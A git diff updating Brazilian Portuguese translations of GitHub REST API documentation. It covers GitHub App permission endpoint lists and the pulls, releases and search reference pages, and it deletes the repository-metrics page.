 - [`GET /repos/:owner/:repo/pages/health`](/rest/reference/pages#get-a-dns-health-check-for-github-pages) (:write)
 {% endif %}
 
-### Permission on "pull requests"
+### Permissão em "pull requests"
 
-Pull requests and issues are closely related. If your GitHub App has permissions on pull requests but not on issues, these endpoints will be limited to pull requests. Endpoints that return both pull requests and issues will be filtered. Endpoints that allow operations on both pull requests and issues will be restricted to pull requests.
+Pull requests and issues are closely related. If your GitHub App has permissions on pull requests but not on issues, these endpoints will be limited to pull requests. Os pontos de extremidade que retornam pull requests e problemas serão filtrados. Os pontos de extremidade que permitem operações em pull requests e problemas serão restritos a pull requests.
 
 - [`PATCH /repos/:owner/:repo/issues/:issue_number`](/rest/reference/issues#update-an-issue) (:write)
 - [`GET /repos/:owner/:repo/issues/:issue_number/comments`](/rest/reference/issues#list-issue-comments) (:read)
@@ -743,18 +743,18 @@ Pull requests and issues are closely related. If your GitHub App has permissions
 - [`PATCH /repos/:owner/:repo/pulls/comments/:comment_id`](/rest/reference/pulls#update-a-review-comment-for-a-pull-request) (:write)
 - [`DELETE /repos/:owner/:repo/pulls/comments/:comment_id`](/rest/reference/pulls#delete-a-review-comment-for-a-pull-request) (:write)
 
-_Assignees_
+_Responsáveis_
 - [`GET /repos/:owner/:repo/assignees`](/rest/reference/issues#list-assignees) (:read)
 - [`GET /repos/:owner/:repo/assignees/:username`](/rest/reference/issues#check-if-a-user-can-be-assigned) (:read)
 - [`POST /repos/:owner/:repo/issues/:issue_number/assignees`](/rest/reference/issues#add-assignees-to-an-issue) (:write)
 - [`DELETE /repos/:owner/:repo/issues/:issue_number/assignees`](/rest/reference/issues#remove-assignees-from-an-issue) (:write)
 
-_Events_
+_Eventos_
 - [`GET /repos/:owner/:repo/issues/:issue_number/events`](/rest/reference/issues#list-issue-events) (:read)
 - [`GET /repos/:owner/:repo/issues/events/:event_id`](/rest/reference/issues#get-an-issue-event) (:read)
 - [`POST /repos/:owner/:repo/pulls/:pull_number/reviews/:review_id/events`](/rest/reference/pulls#submit-a-review-for-a-pull-request) (:write)
 
-_Labels_
+_Etiquetas_
 - [`GET /repos/:owner/:repo/issues/:issue_number/labels`](/rest/reference/issues#list-labels-for-an-issue) (:read)
 - [`POST /repos/:owner/:repo/issues/:issue_number/labels`](/rest/reference/issues#add-labels-to-an-issue) (:write)
 - [`PUT /repos/:owner/:repo/issues/:issue_number/labels`](/rest/reference/issues#set-labels-for-an-issue) (:write)
@@ -766,7 +766,7 @@ _Labels_
 - [`PATCH /repos/:owner/:repo/labels/:name`](/rest/reference/issues#update-a-label) (:write)
 - [`DELETE /repos/:owner/:repo/labels/:name`](/rest/reference/issues#delete-a-label) (:write)
 
-_Milestones_
+_Marcos_
 - [`GET /repos/:owner/:repo/milestones`](/rest/reference/issues#list-milestones) (:read)
 - [`POST /repos/:owner/:repo/milestones`](/rest/reference/issues#create-a-milestone) (:write)
 - [`GET /repos/:owner/:repo/milestones/:milestone_number`](/rest/reference/issues#get-a-milestone) (:read)
@@ -774,7 +774,7 @@ _Milestones_
 - [`DELETE /repos/:owner/:repo/milestones/:milestone_number`](/rest/reference/issues#delete-a-milestone) (:write)
 - [`GET /repos/:owner/:repo/milestones/:milestone_number/labels`](/rest/reference/issues#list-labels-for-issues-in-a-milestone) (:read)
 
-_Reactions_
+_Reações_
 - [`POST /repos/:owner/:repo/issues/:issue_number/reactions`](/rest/reference/reactions#create-reaction-for-an-issue) (:write)
 - [`GET /repos/:owner/:repo/issues/comments/:comment_id/reactions`](/rest/reference/reactions#list-reactions-for-an-issue-comment) (:read)
 - [`POST /repos/:owner/:repo/issues/comments/:comment_id/reactions`](/rest/reference/reactions#create-reaction-for-an-issue-comment) (:write)
@@ -792,12 +792,12 @@ _Reactions_
 - [`DELETE /reactions/:reaction_id`](/rest/reference/reactions#delete-a-reaction) (:write)
 {% endif %}
 
-_Requested reviewers_
+_Revisores solicitados_
 - [`GET /repos/:owner/:repo/pulls/:pull_number/requested_reviewers`](/rest/reference/pulls#list-requested-reviewers-for-a-pull-request) (:read)
 - [`POST /repos/:owner/:repo/pulls/:pull_number/requested_reviewers`](/rest/reference/pulls#request-reviewers-for-a-pull-request) (:write)
 - [`DELETE /repos/:owner/:repo/pulls/:pull_number/requested_reviewers`](/rest/reference/pulls#remove-requested-reviewers-from-a-pull-request) (:write)
 
-_Reviews_
+_Revisões_
 - [`GET /repos/:owner/:repo/pulls/:pull_number/reviews`](/rest/reference/pulls#list-reviews-for-a-pull-request) (:read)
 - [`POST /repos/:owner/:repo/pulls/:pull_number/reviews`](/rest/reference/pulls#create-a-review-for-a-pull-request) (:write)
 - [`GET /repos/:owner/:repo/pulls/:pull_number/reviews/:review_id`](/rest/reference/pulls#get-a-review-for-a-pull-request) (:read)
@@ -806,11 +806,11 @@ _Reviews_
 - [`GET /repos/:owner/:repo/pulls/:pull_number/reviews/:review_id/comments`](/rest/reference/pulls#list-comments-for-a-pull-request-review) (:read)
 - [`PUT /repos/:owner/:repo/pulls/:pull_number/reviews/:review_id/dismissals`](/rest/reference/pulls#dismiss-a-review-for-a-pull-request) (:write)
 
-### Permission on "profile"
+### Permissão em "perfil"
 
 - [`PATCH /user`](/rest/reference/users#update-the-authenticated-user) (:write)
 
-### Permission on "repository hooks"
+### Permissão em "hooks de repositório"
 
 - [`GET /repos/:owner/:repo/hooks`](/rest/reference/webhooks#list-repository-webhooks) (:read)
 - [`POST /repos/:owner/:repo/hooks`](/rest/reference/webhooks#create-a-repository-webhook) (:write)
@@ -829,7 +829,7 @@ _Reviews_
 - [`DELETE /repos/:owner/:repo/pre-receive-hooks/:pre_receive_hook_id`](/enterprise/user/rest/reference/enterprise-admin#remove-pre-receive-hook-enforcement-for-a-repository) (:write)
 {% endif %}
 
-### Permission on "repository projects"
+### Permissão em "projetos de repositório"
 
 - [`GET /projects/:project_id`](/rest/reference/projects#get-a-project) (:read)
 - [`PATCH /projects/:project_id`](/rest/reference/projects#update-a-project) (:write)
@@ -850,11 +850,11 @@ _Reviews_
 - [`GET /repos/:owner/:repo/projects`](/rest/reference/projects#list-repository-projects) (:read)
 - [`POST /repos/:owner/:repo/projects`](/rest/reference/projects#create-a-repository-project) (:write)
 
-_Teams_
+_Equipes_
 - [`DELETE /teams/:team_id/projects/:project_id`](/rest/reference/teams#remove-a-project-from-a-team) (:read)
 
 {% ifversion fpt or ghec %}
-### Permission on "secrets"
+### Permissão em "segredos"
 
 - [`GET /repos/:owner/:repo/actions/secrets/public-key`](/rest/reference/actions#get-a-repository-public-key) (:read)
 - [`GET /repos/:owner/:repo/actions/secrets`](/rest/reference/actions#list-repository-secrets) (:read)
@@ -872,8 +872,26 @@ _Teams_
 - [`DELETE /orgs/:org/actions/secrets/:secret_name`](/rest/reference/actions#delete-an-organization-secret) (:write)
 {% endif %}
 
+{% ifversion fpt or ghec or ghes > 3.3%}
+### Permission on "dependabot_secrets"
+- [`GET /repos/:owner/:repo/dependabot/secrets/public-key`](/rest/reference/dependabot#get-a-repository-public-key) (:read)
+- [`GET /repos/:owner/:repo/dependabot/secrets`](/rest/reference/dependabot#list-repository-secrets) (:read)
+- [`GET /repos/:owner/:repo/dependabot/secrets/:secret_name`](/rest/reference/dependabot#get-a-repository-secret) (:read)
+- [`PUT /repos/:owner/:repo/dependabot/secrets/:secret_name`](/rest/reference/dependabot#create-or-update-a-repository-secret) (:write)
+- [`DELETE /repos/:owner/:repo/dependabot/secrets/:secret_name`](/rest/reference/dependabot#delete-a-repository-secret) (:write)
+- [`GET /orgs/:org/dependabot/secrets/public-key`](/rest/reference/dependabot#get-an-organization-public-key) (:read)
+- [`GET /orgs/:org/dependabot/secrets`](/rest/reference/dependabot#list-organization-secrets) (:read)
+- [`GET /orgs/:org/dependabot/secrets/:secret_name`](/rest/reference/dependabot#get-an-organization-secret) (:read)
+- [`PUT /orgs/:org/dependabot/secrets/:secret_name`](/rest/reference/dependabot#create-or-update-an-organization-secret) (:write)
+- [`GET /orgs/:org/dependabot/secrets/:secret_name/repositories`](/rest/reference/dependabot#list-selected-repositories-for-an-organization-secret) (:read)
+- [`PUT /orgs/:org/dependabot/secrets/:secret_name/repositories`](/rest/reference/dependabot#set-selected-repositories-for-an-organization-secret) (:write)
+- [`PUT /orgs/:org/dependabot/secrets/:secret_name/repositories/:repository_id`](/rest/reference/dependabot#add-selected-repository-to-an-organization-secret) (:write)
+- [`DELETE /orgs/:org/dependabot/secrets/:secret_name/repositories/:repository_id`](/rest/reference/dependabot#remove-selected-repository-from-an-organization-secret) (:write)
+- [`DELETE /orgs/:org/dependabot/secrets/:secret_name`](/rest/reference/dependabot#delete-an-organization-secret) (:write)
+{% endif %}
+
 {% ifversion fpt or ghes > 3.0 or ghec %}
-### Permission on "secret scanning alerts"
+### Permissão em "alertas de varredura de segredo"
 
 - [`GET /repos/:owner/:repo/secret-scanning/alerts`](/rest/reference/secret-scanning#list-secret-scanning-alerts-for-a-repository) (:read)
 - [`GET /repos/:owner/:repo/secret-scanning/alerts/:alert_number`](/rest/reference/secret-scanning#get-a-secret-scanning-alert) (:read)
@@ -881,7 +899,7 @@ _Teams_
 - [`GET /repos/:owner/:repo/secret-scanning/alerts/:alert_number/locations`](/rest/reference/secret-scanning#list-locations-for-a-secret-scanning-alert) (:read)
 {% endif %}
 
-### Permission on "security events"
+### Permissão em "eventos de segurança"
 
 - [`GET /repos/:owner/:repo/code-scanning/alerts`](/rest/reference/code-scanning#list-code-scanning-alerts-for-a-repository) (:read)
 - [`GET /repos/:owner/:repo/code-scanning/alerts/:alert_number`](/rest/reference/code-scanning#get-a-code-scanning-alert) (:read)
@@ -902,7 +920,7 @@ _Teams_
 {% endif -%}
 
 {% ifversion fpt or ghes or ghec %}
-### Permission on "self-hosted runners"
+### Permissão em "executores auto-hospedados"
 - [`GET /orgs/:org/actions/runners/downloads`](/rest/reference/actions#list-runner-applications-for-an-organization) (:read)
 - [`POST /orgs/:org/actions/runners/registration-token`](/rest/reference/actions#create-a-registration-token-for-an-organization) (:write)
 - [`GET /orgs/:org/actions/runners`](/rest/reference/actions#list-self-hosted-runners-for-an-organization) (:read)
@@ -916,25 +934,25 @@ _Teams_
 - [`DELETE /orgs/:org/actions/runners/:runner_id/labels/:name`](/rest/reference/actions#remove-a-custom-label-from-a-self-hosted-runner-for-an-organization) (:write)
 {% endif %}
 
-### Permission on "single file"
+### Permissão em "arquivo único"
 
 - [`GET /repos/:owner/:repo/contents/:path`](/rest/reference/repos#get-repository-content) (:read)
 - [`PUT /repos/:owner/:repo/contents/:path`](/rest/reference/repos#create-or-update-file-contents) (:write)
 - [`DELETE /repos/:owner/:repo/contents/:path`](/rest/reference/repos#delete-a-file) (:write)
 
-### Permission on "starring"
+### Permissão em "marcar com uma estrela"
 
 - [`GET /user/starred/:owner/:repo`](/rest/reference/activity#check-if-a-repository-is-starred-by-the-authenticated-user) (:read)
 - [`PUT /user/starred/:owner/:repo`](/rest/reference/activity#star-a-repository-for-the-authenticated-user) (:write)
 - [`DELETE /user/starred/:owner/:repo`](/rest/reference/activity#unstar-a-repository-for-the-authenticated-user) (:write)
 
-### Permission on "statuses"
+### Permissão em "status"
 
 - [`GET /repos/:owner/:repo/commits/:ref/status`](/rest/reference/commits#get-the-combined-status-for-a-specific-reference) (:read)
 - [`GET /repos/:owner/:repo/commits/:ref/statuses`](/rest/reference/commits#list-commit-statuses-for-a-reference) (:read)
 - [`POST /repos/:owner/:repo/statuses/:sha`](/rest/reference/commits#create-a-commit-status) (:write)
 
-### Permission on "team discussions"
+### Permissão em "discussões em equipe"
 
 - [`GET /teams/:team_id/discussions`](/rest/reference/teams#list-discussions) (:read)
 - [`POST /teams/:team_id/discussions`](/rest/reference/teams#create-a-discussion) (:write)
diff --git a/translations/pt-BR/content/rest/reference/pulls.md b/translations/pt-BR/content/rest/reference/pulls.md
index d8b22a8117..06c32ec53f 100644
--- a/translations/pt-BR/content/rest/reference/pulls.md
+++ b/translations/pt-BR/content/rest/reference/pulls.md
@@ -1,6 +1,6 @@
 ---
 title: Pulls
-intro: 'The Pulls API allows you to list, view, edit, create, and even merge pull requests.'
+intro: 'A API Pulls permite que você liste, veja, edite, crie e até mesmo faça merge de pull requests.'
 redirect_from:
   - /v3/pulls
 versions:
@@ -13,13 +13,13 @@ topics:
 miniTocMaxHeadingLevel: 3
 ---
 
-The Pull Request API allows you to list, view, edit, create, and even merge pull requests. Comments on pull requests can be managed via the [Issue Comments API](/rest/reference/issues#comments).
+A API do Pull Request permite que você liste, visualize, edite, crie e até mesmo faça merge de pull requests. Comentários em pull requests podem ser gerenciados através da [API de Comentários do Problema](/rest/reference/issues#comments).
 
-Every pull request is an issue, but not every issue is a pull request. For this reason, "shared" actions for both features, like manipulating assignees, labels and milestones, are provided within [the Issues API](/rest/reference/issues).
+Cada pull request é um problema, mas nem todos os problemas são um pull request. Por este motivo, as ações "compartilhadas" para ambos os recursos, como a manipulação de responsáveis, etiquetas e marcos são fornecidos dentro de [a API de problemas](/rest/reference/issues).
 
-### Custom media types for pull requests
+### Tipos de mídia personalizados para pull requests
 
-These are the supported media types for pull requests.
+Estes são os tipos de mídia compatíveis com pull requests.
 
     application/vnd.github.VERSION.raw+json
     application/vnd.github.VERSION.text+json
@@ -28,60 +28,59 @@ These are the supported media types for pull requests.
     application/vnd.github.VERSION.diff
     application/vnd.github.VERSION.patch
 
-For more information, see "[Custom media types](/rest/overview/media-types)."
+Para obter mais informações, consulte "[tipos de mídia personalizados](/rest/overview/media-types)".
 
-If a diff is corrupt, contact {% data variables.contact.contact_support %}. Include the repository name and pull request ID in your message.
+Se um diff estiver corrompido, entre em contato com {% data variables.contact.contact_support %}. Inclua o nome e o ID do pull request do repositório na sua mensagem.
 
-### Link Relations
+### Relações do Link
 
-Pull Requests have these possible link relations:
+Pull Requests têm estas relações de link possíveis:
 
-Name | Description
------|-----------|
-`self`| The API location of this Pull Request.
-`html`| The HTML location of this Pull Request.
-`issue`| The API location of this Pull Request's [Issue](/rest/reference/issues).
-`comments`| The API location of this Pull Request's [Issue comments](/rest/reference/issues#comments).
-`review_comments`| The API location of this Pull Request's [Review comments](/rest/reference/pulls#comments).
-`review_comment`| The [URL template](/rest#hypermedia) to construct the API location for a [Review comment](/rest/reference/pulls#comments) in this Pull Request's repository.
-`commits`|The API location of this Pull Request's [commits](#list-commits-on-a-pull-request).
-`statuses`| The API location of this Pull Request's [commit statuses](/rest/reference/repos#statuses), which are the statuses of its `head` branch.
+| Nome              | Descrição                                                                                                                                                            |
+| ----------------- | -------------------------------------------------------------------------------------------------------------------------------------------------------------------- |
+| `self`            | O local da API deste Pull Request.                                                                                                                                   |
+| `html`            | O locl do HTML deste Pull Request.                                                                                                                                   |
+| `problema`        | O local da API do [Problema](/rest/reference/issues) deste Pull Request.                                                                                             |
+| `comentários`     | O local da API dos [comentários do problema](/rest/reference/issues#comments) deste Pull Request.                                                                    |
+| `review_comments` | O local da API dos [comentários da revisão](/rest/reference/pulls#comments) deste Pull Request.                                                                      |
+| `review_comment`  | O [modelo de URL](/rest#hypermedia) para construir o local da API para um [comentário de revisão](/rest/reference/pulls#comments) no repositório deste Pull Request. |
+| `commits`         | O local da API dos [commits](#list-commits-on-a-pull-request) deste Pull Request.                                                                                    |
+| `Status`          | O local da API dos [status do commit](/rest/reference/repos#statuses) deste pull request, que são os status no seu branch `principal`.                               |
 
 {% for operation in currentRestOperations %}
   {% unless operation.subcategory %}{% include rest_operation %}{% endunless %}
 {% endfor %}
 
-## Reviews
+## Revisões
 
-Pull Request Reviews are groups of Pull Request Review Comments on the Pull
-Request, grouped together with a state and optional body comment.
+As revisões de pull request são grupos de comentários de revisão de pull request no Pull Request, agrupados e com um status e comentário de texto opcional.
 
 {% for operation in currentRestOperations %}
   {% if operation.subcategory == 'reviews' %}{% include rest_operation %}{% endif %}
 {% endfor %}
 
-## Review comments
+## Comentários de revisão
 
-Pull request review comments are comments on a portion of the unified diff made during a pull request review. Commit comments and issue comments are different from pull request review comments. You apply commit comments directly to a commit and you apply issue comments without referencing a portion of the unified diff. For more information, see "[Create a commit comment](/rest/reference/commits#create-a-commit-comment)" and "[Create an issue comment](/rest/reference/issues#create-an-issue-comment)."
+Os comentários de revisão de pull request são comentários em uma parte do diff unificado feitos durante uma revisão de pull request. Comentários de commit e comentários de problemas são são diferentes dos comentários de revisão de pull request. Você aplica comentários de submissão diretamente para um commit e aplica comentários de problema sem fazer referência a uma parte do diff unificado. Para obter mais informações, consulte "[Criar um comentário de commit](/rest/reference/commits#create-a-commit-comment)" e "[Criar um comentário de problema](/rest/reference/issues#create-an-issue-comment)".
 
-### Custom media types for pull request review comments
+### Tipos de mídia personalizados para comentários de revisão de pull request
 
-These are the supported media types for pull request review comments.
+Estes são os tipos de mídia compatíveis com os comentários de revisão de pull request.
 
     application/vnd.github.VERSION.raw+json
     application/vnd.github.VERSION.text+json
     application/vnd.github.VERSION.html+json
     application/vnd.github.VERSION.full+json
 
-For more information, see "[Custom media types](/rest/overview/media-types)."
+Para obter mais informações, consulte "[tipos de mídia personalizados](/rest/overview/media-types)".
 
 {% for operation in currentRestOperations %}
   {% if operation.subcategory == 'comments' %}{% include rest_operation %}{% endif %}
 {% endfor %}
 
-## Review requests
+## Solicitações de revisão
 
-Pull request authors and repository owners and collaborators can request a pull request review from anyone with write access to the repository. Each requested reviewer will receive a notification asking them to review the pull request.
+Os autores dos pull request e os proprietários e colaboradores dos repositórios podem solicitar uma revisão de pull request para qualquer pessoa com acesso de gravação ao repositório. Cada revisor solicitado receberá uma notificação pedindo-lhes para revisar o pull request.
 
 {% for operation in currentRestOperations %}
   {% if operation.subcategory == 'review-requests' %}{% include rest_operation %}{% endif %}
diff --git a/translations/pt-BR/content/rest/reference/releases.md b/translations/pt-BR/content/rest/reference/releases.md
index a434451bea..f97b3663f7 100644
--- a/translations/pt-BR/content/rest/reference/releases.md
+++ b/translations/pt-BR/content/rest/reference/releases.md
@@ -1,5 +1,5 @@
 ---
-title: Releases
+title: Versões
 intro: 'The releases API allows you to create, modify, and delete releases and release assets.'
 allowTitleToDifferFromFilename: true
 versions:
@@ -14,10 +14,16 @@ miniTocMaxHeadingLevel: 3
 
 {% note %}
 
-**Note:** The Releases API replaces the Downloads API. You can retrieve the download count and browser download URL from the endpoints in this API that return releases and release assets.
+**Observação:** A API de versões substitui a API de Downloads. Você pode recuperar a contagem de download e a URL de download do navegador a partir dos pontos de extremidades nesta API que retornam versões e liberam ativos.
 
 {% endnote %}
 
 {% for operation in currentRestOperations %}
-  {% if operation.subcategory == 'releases' %}{% include rest_operation %}{% endif %}
-{% endfor %}
\ No newline at end of file
+  {% unless operation.subcategory %}{% include rest_operation %}{% endunless %}
+{% endfor %}
+
+## Release assets
+
+{% for operation in currentRestOperations %}
+  {% if operation.subcategory == 'assets' %}{% include rest_operation %}{% endif %}
+{% endfor %}
diff --git a/translations/pt-BR/content/rest/reference/repository-metrics.md b/translations/pt-BR/content/rest/reference/repository-metrics.md
deleted file mode 100644
index aea394d6e0..0000000000
--- a/translations/pt-BR/content/rest/reference/repository-metrics.md
+++ /dev/null
@@ -1,61 +0,0 @@
----
-title: Repository metrics
-intro: 'The repository metrics API allows you to retrieve community profile, statistics, and traffic for your repository.'
-allowTitleToDifferFromFilename: true
-versions:
-  fpt: '*'
-  ghes: '*'
-  ghae: '*'
-  ghec: '*'
-topics:
-  - API
-miniTocMaxHeadingLevel: 3
----
-
-{% ifversion fpt or ghec %}
-## Community
-
-{% for operation in currentRestOperations %}
-  {% if operation.subcategory == 'community' %}{% include rest_operation %}{% endif %}
-{% endfor %}
-
-{% endif %}
-
-## Statistics
-
-The Repository Statistics API allows you to fetch the data that {% data variables.product.product_name %} uses for visualizing different
-types of repository activity.
-
-### A word about caching
-
-Computing repository statistics is an expensive operation, so we try to return cached
-data whenever possible.  If the data hasn't been cached when you query a repository's
-statistics, you'll receive a `202` response; a background job is also fired to
-start compiling these statistics. Give the job a few moments to complete, and
-then submit the request again. If the job has completed, that request will receive a
-`200` response with the statistics in the response body.
-
-Repository statistics are cached by the SHA of the repository's default branch; pushing to the default branch resets the statistics cache.
-
-### Statistics exclude some types of commits
-
-The statistics exposed by the API match the statistics shown by [different repository graphs](/github/visualizing-repository-data-with-graphs/about-repository-graphs).
-
-To summarize:
-- All statistics exclude merge commits.
-- Contributor statistics also exclude empty commits.
-
-{% for operation in currentRestOperations %}
-  {% if operation.subcategory == 'statistics' %}{% include rest_operation %}{% endif %}
-{% endfor %}
-
-{% ifversion fpt or ghec %}
-## Traffic
-
-For repositories that you have push access to, the traffic API provides access
-to the information provided in your repository graph. For more information, see "<a href="/repositories/viewing-activity-and-data-for-your-repository/viewing-traffic-to-a-repository" class="dotcom-only">Viewing traffic to a repository</a>."
-
-{% for operation in currentRestOperations %}
-  {% if operation.subcategory == 'traffic' %}{% include rest_operation %}{% endif %}
-{% endfor %}
-{% endif %}
\ No newline at end of file
diff --git a/translations/pt-BR/content/rest/reference/search.md b/translations/pt-BR/content/rest/reference/search.md
index 19f0a12d45..fb71879a8d 100644
--- a/translations/pt-BR/content/rest/reference/search.md
+++ b/translations/pt-BR/content/rest/reference/search.md
@@ -1,6 +1,6 @@
 ---
-title: Search
-intro: 'The {% data variables.product.product_name %} Search API lets you to search for the specific item efficiently.'
+title: Pesquisar
+intro: 'A API de pesquisa de {% data variables.product.product_name %} permite que você procure o item específico de forma eficiente.'
 redirect_from:
   - /v3/search
 versions:
@@ -13,125 +13,109 @@ topics:
 miniTocMaxHeadingLevel: 3
 ---
 
-The Search API helps you search for the specific item you want to find. For example, you can find a user or a specific file in a repository. Think of it the way you think of performing a search on Google. It's designed to help you find the one result you're looking for (or maybe the few results you're looking for). Just like searching on Google, you sometimes want to see a few pages of search results so that you can find the item that best meets your needs. To satisfy that need, the {% data variables.product.product_name %} Search API provides **up to 1,000 results for each search**.
+A API de pesquisa ajuda a pesquisar o item específico que você deseja encontrar. Por exemplo, você pode encontrar um usuário ou um arquivo específico em um repositório. Pense nisso da mesma forma que você pensa em realizar uma pesquisa no Google. Ele é projetado para ajudá-lo a encontrar o resultado que você está procurando (ou talvez os poucos resultados que você está procurando). Assim como pesquisar no Google, às vezes, você quer ver algumas páginas com resultados de pesquisa para que você possa encontrar o item que melhor atenda às suas necessidades. Para atender a essa necessidade, a API de pesquisa do {% data variables.product.product_name %} fornece **até 1.000 resultados para cada pesquisa**.
 
-You can narrow your search using queries. To learn more about the search query syntax, see "[Constructing a search query](/rest/reference/search#constructing-a-search-query)."
+Você pode restringir sua pesquisa usando as consultas. Para saber mais sobre a sintaxe de consultas de pesquisa, consulte "[Criar uma consulta de pesquisa](/rest/reference/search#constructing-a-search-query)".
 
-### Ranking search results
+### Resultados da pesquisa de classificação
 
-Unless another sort option is provided as a query parameter, results are sorted by best match in descending order. Multiple factors are combined to boost the most relevant item to the top of the result list.
+A menos que outra opção de ordenamento seja fornecida como um parâmetro de consulta, os resultados são ordenados pela melhor correspondência e em ordem decrescente. Vários fatores são combinados para impulsionar o item mais relevante para a parte superior da lista de resultados.
 
-### Rate limit
+### Limite de taxa
 
-The Search API has a custom rate limit. For requests using [Basic
-Authentication](/rest#authentication), [OAuth](/rest#authentication), or [client
-ID and secret](/rest#increasing-the-unauthenticated-rate-limit-for-oauth-applications), you can make up to
-30 requests per minute. For unauthenticated requests, the rate limit allows you
-to make up to 10 requests per minute.
+A API de pesquisa tem um limite de taxa personalizado. Para solicitações que usam a [Autenticação Básica](/rest#authentication)[OAuth ](/rest#authentication) ou [ID e segredo do cliente e](/rest#increasing-the-unauthenticated-rate-limit-for-oauth-applications), você pode fazer até 30 solicitações por minuto. Para solicitações não autenticadas, o limite de taxa permite que você faça até 10 solicitações por minuto.
 
 {% data reusables.enterprise.rate_limit %}
 
-See the [rate limit documentation](/rest/reference/rate-limit) for details on
-determining your current rate limit status.
+Veja a [documentação do limite de taxa](/rest/reference/rate-limit) para obter informações sobre a determinação do seu status atual de limite de taxa.
 
-### Constructing a search query
+### Criar uma consulta de pesquisa
 
-Each endpoint in the Search API uses [query parameters](https://en.wikipedia.org/wiki/Query_string) to perform searches on {% data variables.product.product_name %}. See the individual endpoint in the Search API for an example that includes the endpoint and query parameters.
+Cada ponto de extremidade na API de Pesquisa usa [parâmetros de consulta](https://en.wikipedia.org/wiki/Query_string) para realizar pesquisas no {% data variables.product.product_name %}. Veja o ponto de extremidade individual na API de pesquisa para obter um exemplo que inclui o ponto de extremidade de parâmetros de consulta.
 
-A query can contain any combination of search qualifiers supported on {% data variables.product.product_name %}. The format of the search query is:
+Uma consulta pode conter qualquer combinação de qualificadores de pesquisa compatíveis em {% data variables.product.product_name %}. O formato da consulta de pesquisa é:
 
 ```
 SEARCH_KEYWORD_1 SEARCH_KEYWORD_N QUALIFIER_1 QUALIFIER_N
 ```
 
-For example, if you wanted to search for all _repositories_ owned by `defunkt` that
-contained the word `GitHub` and `Octocat` in the README file, you would use the
-following query with the _search repositories_ endpoint:
+Por exemplo, se você quisesse pesquisar todos os _repositórios_ de propriedade de `defunkt` que continham a palavra `GitHub` e `Octocat` no arquivo README, você usaria a consulta seguinte com o ponto de extremidade _pesquisar repositórios_:
 
 ```
 GitHub Octocat in:readme user:defunkt
 ```
 
-**Note:** Be sure to use your language's preferred HTML-encoder to construct your query strings. For example:
+**Observação:** Certifique-se de usar o codificador HTML preferido do seu idioma para construir suas strings de consulta. Por exemplo:
 ```javascript
 // JavaScript
 const queryString = 'q=' + encodeURIComponent('GitHub Octocat in:readme user:defunkt');
 ```
 
-See "[Searching on GitHub](/search-github/searching-on-github)"
-for a complete list of available qualifiers, their format, and an example of
-how to use them. For information about how to use operators to match specific
-quantities, dates, or to exclude results, see "[Understanding the search syntax](/search-github/getting-started-with-searching-on-github/understanding-the-search-syntax/)."
+See "[Searching on GitHub](/search-github/searching-on-github)" for a complete list of available qualifiers, their format, and an example of how to use them. Para obter informações sobre como usar operadores para corresponder a quantidades e datas específicas ou para excluir resultados, consulte "[Entender a sintaxe de pesquisa](/search-github/getting-started-with-searching-on-github/understanding-the-search-syntax/)".
 
-### Limitations on query length
+### Limitações no tamanho da consulta
 
-The Search API does not support queries that:
-- are longer than 256 characters (not including operators or qualifiers).
-- have more than five `AND`, `OR`, or `NOT` operators.
+A API de pesquisa não é compatível com consultas que:
+- têm tamanho superior a 256 caracteres (não incluindo operadores ou qualificadores).
+- têm mais de cinco operadores de `E`, `OU` ou `NÃO` operadores.
 
-These search queries will return a "Validation failed" error message.
+Estas consultas de pesquisa irão retornar uma mensagem de erro "Ocorreu uma falha na validação".
 
-### Timeouts and incomplete results
+### Tempo esgotado e resultados incompletos
 
-To keep the Search API fast for everyone, we limit how long any individual query
-can run. For queries that [exceed the time limit](https://developer.github.com/changes/2014-04-07-understanding-search-results-and-potential-timeouts/),
-the API returns the matches that were already found prior to the timeout, and
-the response has the `incomplete_results` property set to `true`.
+Para manter a API de pesquisa rápida para todos, limitamos quanto tempo todas as consulta individual podem ser executadas. Para consultas que [excedem o tempo limite](https://developer.github.com/changes/2014-04-07-understanding-search-results-and-potential-timeouts/), a API retorna as correspondências que já foram encontradas antes do tempo limite, e a resposta tem a propriedade `incomplete_results` definida como `verdadeiro`.
 
-Reaching a timeout does not necessarily mean that search results are incomplete.
-More results might have been found, but also might not.
+Atingir um tempo limite não significa necessariamente que os resultados da pesquisa estão incompletos. É possível que mais resultados tenham sido, mas também é possível que não.
 
-### Access errors or missing search results
+### Erros de acesso ou resultados de pesquisa ausentes
 
-You need to successfully authenticate and have access to the repositories in your search queries, otherwise, you'll see a `422 Unprocessable Entry` error with a "Validation Failed" message. For example, your search will fail if your query includes `repo:`, `user:`, or `org:` qualifiers that request resources that you don't have access to when you sign in on {% data variables.product.prodname_dotcom %}.
+You need to successfully authenticate and have access to the repositories in your search queries, otherwise, you'll see a `422 Unprocessable Entry` error with a "Validation Failed" message. Por exemplo, sua pesquisa irá falhar se sua consulta incluir qualificadores `repo:`, `user:` ou `org:` que solicitam recursos aos quais você não tem acesso ao efetuar login em {% data variables.product.prodname_dotcom %}.
 
-When your search query requests multiple resources, the response will only contain the resources that you have access to and will **not** provide an error message listing the resources that were not returned.
+Quando sua consulta de pesquisa solicitar vários recursos, a resposta só conterá os recursos aos quais você tem acesso e **não** fornecerá uma mensagem de erro listando os recursos que não foram retornados.
 
-For example, if your search query searches for the `octocat/test` and `codertocat/test` repositories, but you only have access to `octocat/test`, your response will show search results for `octocat/test` and nothing for `codertocat/test`. This behavior mimics how search works on {% data variables.product.prodname_dotcom %}.
+Por exemplo, se sua consulta de pesquisa pesquisar os repositórios `octocat/test` e `codertocat/test`, mas você só tem acesso a `octocat/test`, a sua resposta mostrará resultados de pesquisa para `octocat/test` e nenhum resultado para `codertocat/teste`. Este comportamento imita como a pesquisa que funciona no {% data variables.product.prodname_dotcom %}.
 
 {% include rest_operations_at_current_path %}
 
 
-### Text match metadata
+### Metadados da correspondência de texto
 
-On GitHub, you can use the context provided by code snippets and highlights in search results. The Search API offers additional metadata that allows you to highlight the matching search terms when displaying search results.
+No GitHub, você pode usar o contexto fornecido por trechos de código e destaques nos resultados de pesquisa. A API de pesquisa oferece metadados adicionais que permitem que você destaque os termos de pesquisa correspondentes ao exibir resultados de busca.
 
 ![code-snippet-highlighting](/assets/images/text-match-search-api.png)
 
-Requests can opt to receive those text fragments in the response, and every fragment is accompanied by numeric offsets identifying the exact location of each matching search term.
+As solicitações podem optar por receber esses fragmentos de texto na resposta, e cada fragmento é acompanhado de ajustes numéricos que identificam a localização exata de cada termo de pesquisa correspondente.
 
-To get this metadata in your search results, specify the `text-match` media type in your `Accept` header.
